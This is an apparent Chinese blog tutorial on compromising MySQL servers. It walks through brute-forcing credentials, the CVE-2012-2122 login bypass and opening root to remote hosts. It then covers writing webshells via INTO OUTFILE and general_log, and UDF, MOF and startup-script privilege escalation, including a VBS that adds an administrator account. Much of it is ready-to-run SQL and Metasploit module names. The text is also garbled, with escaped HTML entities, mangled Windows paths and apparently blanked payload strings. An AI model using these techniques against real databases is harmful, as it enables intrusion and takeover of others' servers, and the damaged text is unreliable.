前言

今天给大家总结一下渗透mysql的一些技巧。本文只是点到为止&＃xff0c;不会讲的太细。

一、sqlshell获取

要利用mysql首先得拿到一个可以执行sql的mysql才能利用&＃xff0c;下面就说一下几种常见姿势&＃xff0c;欢迎补充。

1、弱口令

这个比较简单&＃xff0c;网上工具很多如美杜莎&＃xff0c;九头蛇这些比较知名的&＃xff0c;msf也有相应的模块。我自己之前也写过一个。要是运气好的话直接跑到弱口令就直接进去&＃xff0c;当然也可以配合社工字典来跑这样成功率更高。

2、文件读取漏洞

需要挖一个任意文件读取漏洞&＃xff0c;然后利用读网站的配置文件&＃xff0c;里面存放着数据库账号密码。

3、信息泄露

扫目录扫网站备份文件&＃xff0c;或者git泄露

4、sql注入

这个不用多说&＃xff0c;要是权限够大直接sqlmap os-shell一把梭

5、身份认证绕过漏洞(CVE-2012-2122)

受影响版本&＃xff1a;

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

也就是说只要知道用户名&＃xff0c;不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

在msf里面有模块&＃xff0c;可以直接用auxiliary/scanner/mysql/mysql_authbypass_hashdump来跑

当数据库不能外连可以通过以下方法开放外连(注意防火墙)&＃xff1a;

可以修改host为%并刷新权限后&＃xff0c;默认root等账号不允许远程连接

use mysql;update user set host &＃61; &＃39;%&＃39; where user &＃61; &＃39;root&＃39;;FLUSH PRIVILEGES ;select host, user from user;

二、mysql拿shell

1、用命令直接导出shell

原理&＃xff1a;利用导出命令来导出shell。

条件&＃xff1a;

1. 需要知道网站的物理路径(绝对路径)

通过程序报错&＃xff0c;日志泄露&＃xff0c;phpinfo&＃xff0c;php探针等方式可以获取到物理路径。

2.允许导出

先查看是否允许导入导出

show variables like &＃39;%secure%&＃39;

secure_file_priv的值为null &＃xff0c;表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ &＃xff0c;表示限制mysqld 的导入|导出只能发生在/tmp/目录下&＃xff0c;此时如果读写发生在其他文件夹&＃xff0c;就会报告如下错误&＃xff1a;

RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

当secure_file_priv的值没有具体值时&＃xff0c;表示不对mysqld 的导入|导出做限制

如果条件都满足的话,就可以开始了

outfile

select &＃39;&＃39; into outfile &＃39;/var/www/xx.php&＃39;;

dumpfile

select &＃39;&＃39; into dumpfile &＃39;/var/www/xx.php&＃39;;

注意&＃xff1a;outfile函数可以导出多行&＃xff0c;而dumpfile只能导出一行数据outfile函数在将数据写到文件里时有特殊的格式转换&＃xff0c;而dumpfile则保持原数据格式

借助表导出。

Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES(&＃39;&＃39;);Select cmd from temp into out file &＃39;/var/www/xx.php&＃39;;Drop TABLE IF EXISTS temp;

也可以用mysql 的 -e 参数

mysql -u user -p passwd -e "select &＃39;&＃39; into outfile &＃39;/var/www/xxx.php&＃39;"

2、利用general_log拿shell

如果导入导出被禁用了就可以用这个方法试试。

原理&＃xff1a;利用修改日志文件路径&＃xff0c;往日志文件写入一句话。

条件&＃xff1a;

1.对应web目录有写权限

2.需要有物理路径

3.如果拿到的是注入&＃xff0c;还需要能执行堆叠注入

4.root用户&＃xff0c;或者有对应权限的用户

利用如下:开启日志&＃xff0c;更改路径&＃xff0c;把一句话写入日志文件。

set global general_log&＃61;on;set global general_log_file&＃61;&＃39;/var/www/1.php&＃39;;select &＃39;&＃39;;

三、任意文件读取

既然有文件导出&＃xff0c;肯定也有文件导入。关于任意文件读取怎么用&＃xff0c;我之前总结过。

条件&＃xff1a;和导出shell的条件一样。

利用:先创建一张表&＃xff0c;读取文件内容到表。

create table a (v text);

load data infile &＃39;file_name&＃39; into table table_name fields terminated by &＃39;分隔符&＃39;

例如读text.txt&＃xff1a;

load data infile &＃39;C:/phpstudy/MySQL/test.txt&＃39; into table a fields terminated by &＃39;,&＃39;;

查看内容

SELECT * FROM a

四、mysql提权

先推荐一个小工具https://github.com/T3st0r-Git/HackMySQL

1、mof提权

原理&＃xff1a;

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件&＃xff0c;每分钟都会在一个特定的时间去执行一次的特性&＃xff0c;来写入我们的cmd命令使其被带入执行。

条件&＃xff1a;

1、mof提权的前提是root用户

2、可以复制文件到%SystemRoot%System32WbemMOF目录下

利用&＃xff1a;

网上工具也很多&＃xff0c;可以直接用msf的exploit/windows/mysql/mysql_mof模块&＃xff0c;执行成功后会直接反弹meterpreter。

2、udf提权

原理&＃xff1a;

UDF(user defined function)用户自定义函数&＃xff0c;是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能&＃xff0c;其添加的新函数都可以在sql语句中调用&＃xff0c;就像调用本机函数一样。

条件&＃xff1a;

1、系统是Windows(Win2000,XP,Win2003)&＃xff1b;有一个mysql数据库的账户拥有insert和delete权限&＃xff0c;以创建和抛弃函数。

2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的libplugin文件夹下。

3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:windowssystem32&＃xff0c;在windows2000下放置于c:winnt

system32。

4、拥有相应目录的写权限

注意&＃xff1a;一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹)

select &＃64;&＃64;basedir; //查找到mysql的目录select &＃39;It is dll&＃39; into dumpfile &＃39;C:ProgramFilesMySQLMySQL Server 5.1lib::$INDEX_ALLOCATION&＃39;; //利用NTFS ADS创建lib目录select &＃39;It is dll&＃39; into dumpfile &＃39;C:ProgramFilesMySQLMySQL Server 5.1libplugin::$INDEX_ALLOCATION&＃39;; //利用NTFS ADS创建plugin目录

利用&＃xff1a;

直接用msf的use exploit/multi/mysql/mysql_udf_payload模块.

msf会将dll文件写入libplugin目录下(前提是该目录存在&＃xff0c;如果该目录不存在的话&＃xff0c;则无法执行成功)&＃xff0c;dll文件名为随机生成的名字(记下来后面手动创建需要用到)。该dll文件中包含sys_exec()和sys_eval()两个函数&＃xff0c;但是默认只创建sys_exec()函数&＃xff0c;该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数&＃xff0c;来执行有回显的命令。

手动创建sys_eval()

create function sys_eval returns string soname &＃39;SGJECYG.dll&＃39;;

执行手动创建的函数

select sys_eval(&＃39;whoami&＃39;);

检查有没有创建成功

select * from mysql.func where name &＃61; &＃39;sys_eval&＃39;;

删除函数

drop function sys_eval;

3、启动项提权

原理&＃xff1a;本质还是用导出命令来实现&＃xff0c;导出脚本到启动目录&＃xff0c;服务器重启就执行脚本。

条件&＃xff1a;上面说过了。

利用&＃xff1a;

写个vbs到启动目录,想办法让服务器重启。

1&＃xff0c;开始菜单当前用户启动文件夹--C:甥敳獲用户名AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup2&＃xff0c;开始菜单所有用户启动文件夹--C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp3&＃xff0c;注册表当前用户开机启动项目录--HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun4&＃xff0c;注册表所有用户开机启动项目录--HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun

写脚本

create table a (cmd text);//创建表insert into a values ("set wshshell&＃61;createobject(""wscript.shell"") " );//写数据到表insert into a values ("a&＃61;wshshell.run(""cmd.exe /c net user aabbcc 123456 /add"",0) " );insert into a values ("b&＃61;wshshell.run(""cmd.exe /c net localgroup administrators aabbcc/add"",0) " );select * from a into outfile "C:Documents andSettingsAll Users「开始」菜单程序启动a.vbs";//导出vb

msf下也有对应模块exploit/windows/mysql/mysql_start_up

五、拓展

其他常用msf模块

exploit/windows/mysql/scrutinizer_upload_exec(上传文件执行)

auxiliary/scanner/mysql/mysql_hashdump(mysql的mysql.user表的hash)

auxiliary/admin/mysql/mysql_sql(执行sql语句&＃xff0c;navicat更香)

auxiliary/scanner/mysql/mysql_version(识别版本)